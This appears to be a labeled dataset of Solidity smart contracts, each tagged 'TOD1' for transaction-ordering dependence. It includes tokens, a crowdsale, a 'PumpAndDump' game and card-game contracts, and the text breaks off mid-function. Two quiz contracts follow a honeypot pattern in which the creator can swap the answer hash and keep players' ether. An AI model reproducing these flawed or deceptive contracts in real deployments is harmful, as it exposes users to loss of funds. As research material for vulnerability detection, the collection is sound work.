pragma solidity ^0.4.20; contract UZMINI_KO { function Play(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function StartGame(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { require(msg.sender==questionSender); question = _question; responseHash = _responseHash; } function() public payable{} }
TOD1
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; // 1 denied / 0 allow mapping(address => uint8) permissionsList; function SetPermissionsList(address _address, uint8 _sign) public onlyOwner{ permissionsList[_address] = _sign; } function GetPermissionsList(address _address) public constant onlyOwner returns(uint8){ return permissionsList[_address]; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(permissionsList[msg.sender] == 0); require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(permissionsList[_from] == 0); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract BurnableByOwner is BasicToken { event Burn(address indexed burner, uint256 value); function burn(address _address, uint256 _value) public onlyOwner{ require(_value <= balances[_address]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = _address; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract Wolf is Ownable, MintableToken, BurnableByOwner { using SafeMath for uint256; string public constant name = "Wolf"; string public constant symbol = "Wolf"; uint32 public constant decimals = 18; address public addressTeam; address public addressCashwolf; address public addressFutureInvest; address public addressBounty; uint public summTeam = 15000000000 * 1 ether; uint public summCashwolf = 10000000000 * 1 ether; uint public summFutureInvest = 10000000000 * 1 ether; uint public summBounty = 1000000000 * 1 ether; function Wolf() public { addressTeam = 0xb5AB520F01DeE8a42A2bfaEa8075398414774778; addressCashwolf = 0x3366e9946DD375d1966c8E09f889Bc18C5E1579A; addressFutureInvest = 0x7134121392eE0b6DC9382BBd8E392B4054CdCcEf; addressBounty = 0x902A95ad8a292f5e355fCb8EcB761175D30b6fC6; //Founders and supporters initial Allocations balances[addressTeam] = balances[addressTeam].add(summTeam); balances[addressCashwolf] = balances[addressCashwolf].add(summCashwolf); balances[addressFutureInvest] = balances[addressFutureInvest].add(summFutureInvest); balances[addressBounty] = balances[addressBounty].add(summBounty); totalSupply = summTeam.add(summCashwolf).add(summFutureInvest).add(summBounty); } function getTotalSupply() public constant returns(uint256){ return totalSupply; } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where Contributors can make * token Contributions and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. The contract requires a MintableToken that will be * minted as contributions arrive, note that the crowdsale contract * must be owner of the token in order to be able to mint it. */ contract Crowdsale is Ownable { using SafeMath for uint256; // soft cap uint256 public softcap; //A balance that does not include the amount of unconfirmed addresses. //The balance which, if a soft cap is reached, can be transferred to the owner's wallet. uint256 public activeBalance; // balances for softcap mapping(address => uint) public balancesSoftCap; struct BuyInfo { uint summEth; uint summToken; uint dateEndRefund; } mapping(address => mapping(uint => BuyInfo)) public payments; mapping(address => uint) public paymentCounter; // The token being offered Wolf public token; // start and end timestamps where investments are allowed (both inclusive) // start uint256 public startICO; // end uint256 public endICO; uint256 public period; uint256 public endICO14; // token distribution uint256 public hardCap; uint256 public totalICO; // how many token units a Contributor gets per wei uint256 public rate; // address where funds are collected address public wallet; // minimum/maximum quantity values uint256 public minNumbPerSubscr; uint256 public maxNumbPerSubscr; /** * event for token Procurement logging * @param contributor who Pledged for the tokens * @param beneficiary who got the tokens * @param value weis Contributed for Procurement * @param amount amount of tokens Procured */ event TokenProcurement(address indexed contributor, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale() public { token = createTokenContract(); // soft cap softcap = 5000 * 1 ether; // minimum quantity values minNumbPerSubscr = 10000000000000000; //0.01 eth maxNumbPerSubscr = 300 * 1 ether; // start and end timestamps where investments are allowed // start startICO = 1523455200;// 04/11/2018 @ 02:00pm (UTC) period = 60; // end endICO = startICO + period * 1 days; endICO14 = endICO + 14 * 1 days; // restrictions on amounts during the crowdfunding event stages hardCap = 65000000000 * 1 ether; // rate; rate = 500000; // address where funds are collected wallet = 0x7472106A07EbAB5a202e195c0dC22776778b44E6; } function setStartICO(uint _startICO) public onlyOwner{ startICO = _startICO; endICO = startICO + period * 1 days; endICO14 = endICO + 14 * 1 days; } function setPeriod(uint _period) public onlyOwner{ period = _period; endICO = startICO + period * 1 days; endICO14 = endICO + 14 * 1 days; } function setRate(uint _rate) public onlyOwner{ rate = _rate; } function createTokenContract() internal returns (Wolf) { return new Wolf(); } // fallback function can be used to Procure tokens function () external payable { procureTokens(msg.sender); } // low level token Pledge function function procureTokens(address beneficiary) public payable { uint256 tokens; uint256 weiAmount = msg.value; uint256 backAmount; require(beneficiary != address(0)); //minimum/maximum amount in ETH require(weiAmount >= minNumbPerSubscr && weiAmount <= maxNumbPerSubscr); if (now >= startICO && now <= endICO && totalICO < hardCap){ tokens = weiAmount.mul(rate); if (hardCap.sub(totalICO) < tokens){ tokens = hardCap.sub(totalICO); weiAmount = tokens.div(rate); backAmount = msg.value.sub(weiAmount); } totalICO = totalICO.add(tokens); } require(tokens > 0); token.mint(beneficiary, tokens); balancesSoftCap[beneficiary] = balancesSoftCap[beneficiary].add(weiAmount); uint256 dateEndRefund = now + 14 * 1 days; paymentCounter[beneficiary] = paymentCounter[beneficiary] + 1; payments[beneficiary][paymentCounter[beneficiary]] = BuyInfo(weiAmount, tokens, dateEndRefund); token.SetPermissionsList(beneficiary, 1); if (backAmount > 0){ msg.sender.transfer(backAmount); } emit TokenProcurement(msg.sender, beneficiary, weiAmount, tokens); } function SetPermissionsList(address _address, uint8 _sign) public onlyOwner{ uint8 sign; sign = token.GetPermissionsList(_address); token.SetPermissionsList(_address, _sign); if (_sign == 0){ if (sign != _sign){ activeBalance = activeBalance.add(balancesSoftCap[_address]); } } if (_sign == 1){ if (sign != _sign){ activeBalance = activeBalance.sub(balancesSoftCap[_address]); } } } function GetPermissionsList(address _address) public constant onlyOwner returns(uint8){ return token.GetPermissionsList(_address); } function refund() public{ require(activeBalance < softcap && now > endICO); require(balancesSoftCap[msg.sender] > 0); uint value = balancesSoftCap[msg.sender]; balancesSoftCap[msg.sender] = 0; msg.sender.transfer(value); } function refundUnconfirmed() public{ require(now > endICO); require(balancesSoftCap[msg.sender] > 0); require(token.GetPermissionsList(msg.sender) == 1); uint value = balancesSoftCap[msg.sender]; balancesSoftCap[msg.sender] = 0; msg.sender.transfer(value); token.burn(msg.sender, token.balanceOf(msg.sender)); totalICO = totalICO.sub(token.balanceOf(msg.sender)); } function revoke(uint _id) public{ uint8 sign; require(now <= payments[msg.sender][_id].dateEndRefund); require(balancesSoftCap[msg.sender] > 0); require(payments[msg.sender][_id].summEth > 0); require(payments[msg.sender][_id].summToken > 0); uint value = payments[msg.sender][_id].summEth; uint valueToken = payments[msg.sender][_id].summToken; balancesSoftCap[msg.sender] = balancesSoftCap[msg.sender].sub(value); sign = token.GetPermissionsList(msg.sender); if (sign == 0){ activeBalance = activeBalance.sub(value); } payments[msg.sender][_id].summEth = 0; payments[msg.sender][_id].summToken = 0; msg.sender.transfer(value); token.burn(msg.sender, valueToken); totalICO = totalICO.sub(valueToken); } function transferToMultisig() public onlyOwner { require(activeBalance >= softcap && now > endICO14); wallet.transfer(activeBalance); activeBalance = 0; } }
TOD1
pragma solidity ^0.4.23; contract PumpAndDump { address owner; uint newCoinFee = 0.005 ether; uint newCoinFeeIncrease = 0.001 ether; uint defaultCoinPrice = 0.001 ether; uint coinPriceIncrease = 0.0001 ether; uint devFees = 0; uint16[] coinIds; struct Coin { bool exists; string name; uint price; uint marketValue; address[] investors; } mapping (uint16 => Coin) coins; constructor() public { owner = msg.sender; } function kill() external { require(msg.sender == owner); selfdestruct(owner); } function getNewCoinFee() public constant returns (uint) { return newCoinFee; } function isCoinIdUnique(uint16 newId) private constant returns (bool) { for (uint i = 0; i < coinIds.length; i++) { if (coinIds[i] == newId) { return false; } } return true; } function createCoin(uint16 id, string name) public payable { require(msg.value >= newCoinFee); require(id < 17576); // 26*26*26 require(bytes(name).length > 0); require(isCoinIdUnique(id)); devFees += msg.value - defaultCoinPrice; coins[id].exists = true; coins[id].name = name; coins[id].price = defaultCoinPrice; coins[id].marketValue = defaultCoinPrice; coins[id].investors.push(msg.sender); coinIds.push(id); newCoinFee += newCoinFeeIncrease; } function getCoinIds() public view returns (uint16[]) { return coinIds; } function getCoinInfoFromId(uint16 coinId) public view returns (string, uint, uint, address[]) { return ( coins[coinId].name, coins[coinId].price, coins[coinId].marketValue, coins[coinId].investors ); } function getUserCoinMarketValue(uint16 coinId, uint userIndex) private view returns (uint) { uint numInvestors = coins[coinId].investors.length; // If this is the most recent investor if (numInvestors == userIndex + 1) { return coins[coinId].price; } else { uint numShares = (numInvestors * (numInvestors + 1)) / 2; return ((numInvestors - userIndex) * coins[coinId].marketValue) / numShares; } } function isSenderInvestor(address sender, address[] investors) private pure returns (bool) { for (uint i = 0; i < investors.length; i++) { if (investors[i] == sender) { return true; } } return false; } function buyCoin(uint16 coinId) public payable { require(msg.value >= coins[coinId].price); require(coins[coinId].exists); require(!isSenderInvestor(msg.sender, coins[coinId].investors)); coins[coinId].investors.push(msg.sender); uint amount = (msg.value * 99) / 100; devFees += msg.value - amount; coins[coinId].marketValue += amount; coins[coinId].price += coinPriceIncrease; } function payAndRemoveInvestor(uint16 coinId, uint investorIndex) private { uint value = getUserCoinMarketValue(coinId, investorIndex); coins[coinId].investors[investorIndex].transfer(value); coins[coinId].price -= coinPriceIncrease; coins[coinId].marketValue -= value; if (coins[coinId].investors.length == 1) { delete coins[coinId].investors[0]; } else { uint secondLastIndex = coins[coinId].investors.length - 1; for (uint j = investorIndex; j < secondLastIndex; j++) { coins[coinId].investors[j] = coins[coinId].investors[j - 1]; } } coins[coinId].investors.length -= 1; } function sellCoin(uint16 coinId) public { bool senderIsInvestor = false; uint investorIndex = 0; require(coins[coinId].exists); for (uint i = 0; i < coins[coinId].investors.length; i++) { if (coins[coinId].investors[i] == msg.sender) { senderIsInvestor = true; investorIndex = i; break; } } require(senderIsInvestor); payAndRemoveInvestor(coinId, investorIndex); } function getDevFees() public view returns (uint) { require(msg.sender == owner); return devFees; } function collectDevFees() public { require(msg.sender == owner); owner.transfer(devFees); devFees = 0; } function() public payable {} }
TOD1
pragma solidity ^0.4.20; contract quiz_quest { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function start_quiz_quest(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { require(msg.sender==questionSender); question = _question; responseHash = _responseHash; } function() public payable{} }
TOD1
pragma solidity ^0.4.18; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract ArtyCoin { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; uint256 public tokensPerOneETH; uint256 public totalEthInWei; uint256 public totalETHRaised; uint256 public totalDeposit; uint256 public sellPrice; uint256 public buyPrice; address public owner; bool public isCanSell; bool public isCanBuy; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); modifier onlyOwner { require(msg.sender == owner); _; } function ArtyCoin(uint256 initialSupply, string tokenName, string tokenSymbol, address ownerAddress) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[ownerAddress] = totalSupply; owner = ownerAddress; name = tokenName; symbol = tokenSymbol; } function setIsTokenCanBeBuy(bool condition) onlyOwner public returns (bool success) { isCanBuy = condition; return true; } function setIsTokenCanBeSell(bool condition) onlyOwner public returns (bool success) { isCanSell = condition; return true; } function setSellPrice(uint256 newSellPrice) onlyOwner public returns (bool success) { require(newSellPrice > 0); sellPrice = newSellPrice; return true; } function setBuyPrice(uint256 newBuyPrice) onlyOwner public returns (bool success) { require(newBuyPrice > 0); buyPrice = newBuyPrice; return true; } function sellTokens(uint amount) public returns (uint revenue){ require(isCanSell); require(sellPrice > 0); require(balanceOf[msg.sender] >= amount); uint256 divideValue = 1 * 10 ** uint256(decimals); revenue = (amount / divideValue) * sellPrice; require(this.balance >= revenue); balanceOf[owner] += amount; balanceOf[msg.sender] -= amount; msg.sender.transfer(revenue); Transfer(msg.sender, owner, amount); return revenue; } function buyTokens() payable public { require(msg.value > 0); totalEthInWei += msg.value; uint256 amount = msg.value * tokensPerOneETH; require(balanceOf[owner] >= amount); balanceOf[owner] -= amount; balanceOf[msg.sender] += amount; Transfer(owner, msg.sender, amount); owner.transfer(msg.value); } function createTokensToOwner(uint256 amount) onlyOwner public { require(amount > 0); uint256 newAmount = amount * 10 ** uint256(decimals); totalSupply += newAmount; balanceOf[owner] += newAmount; Transfer(0, owner, newAmount); } function createTokensTo(address target, uint256 mintedAmount) onlyOwner public { require(mintedAmount > 0); uint256 newAmount = mintedAmount * 10 ** uint256(decimals); balanceOf[target] += newAmount; totalSupply += newAmount; Transfer(0, target, newAmount); } function setTokensPerOneETH(uint256 value) onlyOwner public returns (bool success) { require(value > 0); tokensPerOneETH = value; return true; } function depositFunds() payable public { totalDeposit += msg.value; } function() payable public { require(msg.value > 0); totalEthInWei += msg.value; totalETHRaised += msg.value; uint256 amount = msg.value * tokensPerOneETH; require(balanceOf[owner] >= amount); balanceOf[owner] -= amount; balanceOf[msg.sender] += amount; Transfer(owner, msg.sender, amount); owner.transfer(msg.value); } function getMyBalance() view public returns (uint256) { return this.balance; } function withdrawEthToOwner(uint256 amount) onlyOwner public { require(amount > 0); require(this.balance >= amount); owner.transfer(amount); } function withdrawAllEthToOwner() onlyOwner public { require(this.balance > 0); owner.transfer(this.balance); } function transferOwnership(address newOwner) onlyOwner public { address oldOwner = owner; uint256 amount = balanceOf[oldOwner]; balanceOf[newOwner] += amount; balanceOf[oldOwner] -= amount; Transfer(oldOwner, newOwner, amount); owner = newOwner; } function sendMultipleAddress(address[] dests, uint256[] values) public returns (uint256) { uint256 i = 0; while (i < dests.length) { transfer(dests[i], values[i]); i += 1; } return i; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }
TOD1
pragma solidity 0.4.24; contract Ownable { address public owner; constructor() public { owner = msg.sender; } function setOwner(address _owner) public onlyOwner { owner = _owner; } modifier onlyOwner { require(msg.sender == owner); _; } } contract Vault is Ownable { function () public payable { } function getBalance() public view returns (uint) { return address(this).balance; } function withdraw(uint amount) public onlyOwner { require(address(this).balance >= amount); owner.transfer(amount); } function withdrawAll() public onlyOwner { withdraw(address(this).balance); } } contract ERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract TournamentPass is ERC20, Ownable { using SafeMath for uint256; Vault vault; constructor(Vault _vault) public { vault = _vault; } mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; address[] public minters; uint256 supply; uint mintLimit = 20000; function name() public view returns (string){ return "GU Tournament Passes"; } function symbol() public view returns (string) { return "PASS"; } function addMinter(address minter) public onlyOwner { minters.push(minter); } function totalSupply() public view returns (uint256) { return supply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function isMinter(address test) internal view returns (bool) { for (uint i = 0; i < minters.length; i++) { if (minters[i] == test) { return true; } } return false; } function mint(address to, uint amount) public returns (bool) { require(isMinter(msg.sender)); if (amount.add(supply) > mintLimit) { return false; } supply = supply.add(amount); balances[to] = balances[to].add(amount); emit Transfer(address(0), to, amount); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function increaseApproval(address spender, uint256 addedValue) public returns (bool) { allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseApproval(address spender, uint256 subtractedValue) public returns (bool) { uint256 oldValue = allowed[msg.sender][spender]; if (subtractedValue > oldValue) { allowed[msg.sender][spender] = 0; } else { allowed[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } uint public price = 250 finney; function purchase(uint amount) public payable { require(msg.value >= price.mul(amount)); require(supply.add(amount) <= mintLimit); supply = supply.add(amount); balances[msg.sender] = balances[msg.sender].add(amount); emit Transfer(address(0), msg.sender, amount); address(vault).transfer(msg.value); } } contract CappedVault is Vault { uint public limit; uint withdrawn = 0; constructor() public { limit = 33333 ether; } function () public payable { require(total() + msg.value <= limit); } function total() public view returns(uint) { return getBalance() + withdrawn; } function withdraw(uint amount) public onlyOwner { require(address(this).balance >= amount); owner.transfer(amount); withdrawn += amount; } } contract PreviousInterface { function ownerOf(uint id) public view returns (address); function getCard(uint id) public view returns (uint16, uint16); function totalSupply() public view returns (uint); function burnCount() public view returns (uint); } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract Governable { event Pause(); event Unpause(); address public governor; bool public paused = false; constructor() public { governor = msg.sender; } function setGovernor(address _gov) public onlyGovernor { governor = _gov; } modifier onlyGovernor { require(msg.sender == governor); _; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyGovernor whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyGovernor whenPaused public { paused = false; emit Unpause(); } } contract CardBase is Governable { struct Card { uint16 proto; uint16 purity; } function getCard(uint id) public view returns (uint16 proto, uint16 purity) { Card memory card = cards[id]; return (card.proto, card.purity); } function getShine(uint16 purity) public pure returns (uint8) { return uint8(purity / 1000); } Card[] public cards; } contract CardProto is CardBase { event NewProtoCard( uint16 id, uint8 season, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 cardType, uint8 tribe, bool packable ); struct Limit { uint64 limit; bool exists; } // limits for mythic cards mapping(uint16 => Limit) public limits; // can only set limits once function setLimit(uint16 id, uint64 limit) public onlyGovernor { Limit memory l = limits[id]; require(!l.exists); limits[id] = Limit({ limit: limit, exists: true }); } function getLimit(uint16 id) public view returns (uint64 limit, bool set) { Limit memory l = limits[id]; return (l.limit, l.exists); } // could make these arrays to save gas // not really necessary - will be update a very limited no of times mapping(uint8 => bool) public seasonTradable; mapping(uint8 => bool) public seasonTradabilityLocked; uint8 public currentSeason; function makeTradable(uint8 season) public onlyGovernor { seasonTradable[season] = true; } function makeUntradable(uint8 season) public onlyGovernor { require(!seasonTradabilityLocked[season]); seasonTradable[season] = false; } function makePermanantlyTradable(uint8 season) public onlyGovernor { require(seasonTradable[season]); seasonTradabilityLocked[season] = true; } function isTradable(uint16 proto) public view returns (bool) { return seasonTradable[protos[proto].season]; } function nextSeason() public onlyGovernor { //Seasons shouldn't go to 0 if there is more than the uint8 should hold, the governor should know this ¯\_(ツ)_/¯ -M require(currentSeason <= 255); currentSeason++; mythic.length = 0; legendary.length = 0; epic.length = 0; rare.length = 0; common.length = 0; } enum Rarity { Common, Rare, Epic, Legendary, Mythic } uint8 constant SPELL = 1; uint8 constant MINION = 2; uint8 constant WEAPON = 3; uint8 constant HERO = 4; struct ProtoCard { bool exists; uint8 god; uint8 season; uint8 cardType; Rarity rarity; uint8 mana; uint8 attack; uint8 health; uint8 tribe; } // there is a particular design decision driving this: // need to be able to iterate over mythics only for card generation // don't store 5 different arrays: have to use 2 ids // better to bear this cost (2 bytes per proto card) // rather than 1 byte per instance uint16 public protoCount; mapping(uint16 => ProtoCard) protos; uint16[] public mythic; uint16[] public legendary; uint16[] public epic; uint16[] public rare; uint16[] public common; function addProtos( uint16[] externalIDs, uint8[] gods, Rarity[] rarities, uint8[] manas, uint8[] attacks, uint8[] healths, uint8[] cardTypes, uint8[] tribes, bool[] packable ) public onlyGovernor returns(uint16) { for (uint i = 0; i < externalIDs.length; i++) { ProtoCard memory card = ProtoCard({ exists: true, god: gods[i], season: currentSeason, cardType: cardTypes[i], rarity: rarities[i], mana: manas[i], attack: attacks[i], health: healths[i], tribe: tribes[i] }); _addProto(externalIDs[i], card, packable[i]); } } function addProto( uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 cardType, uint8 tribe, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: cardType, rarity: rarity, mana: mana, attack: attack, health: health, tribe: tribe }); _addProto(externalID, card, packable); } function addWeapon( uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 durability, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: WEAPON, rarity: rarity, mana: mana, attack: attack, health: durability, tribe: 0 }); _addProto(externalID, card, packable); } function addSpell(uint16 externalID, uint8 god, Rarity rarity, uint8 mana, bool packable) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: SPELL, rarity: rarity, mana: mana, attack: 0, health: 0, tribe: 0 }); _addProto(externalID, card, packable); } function addMinion( uint16 externalID, uint8 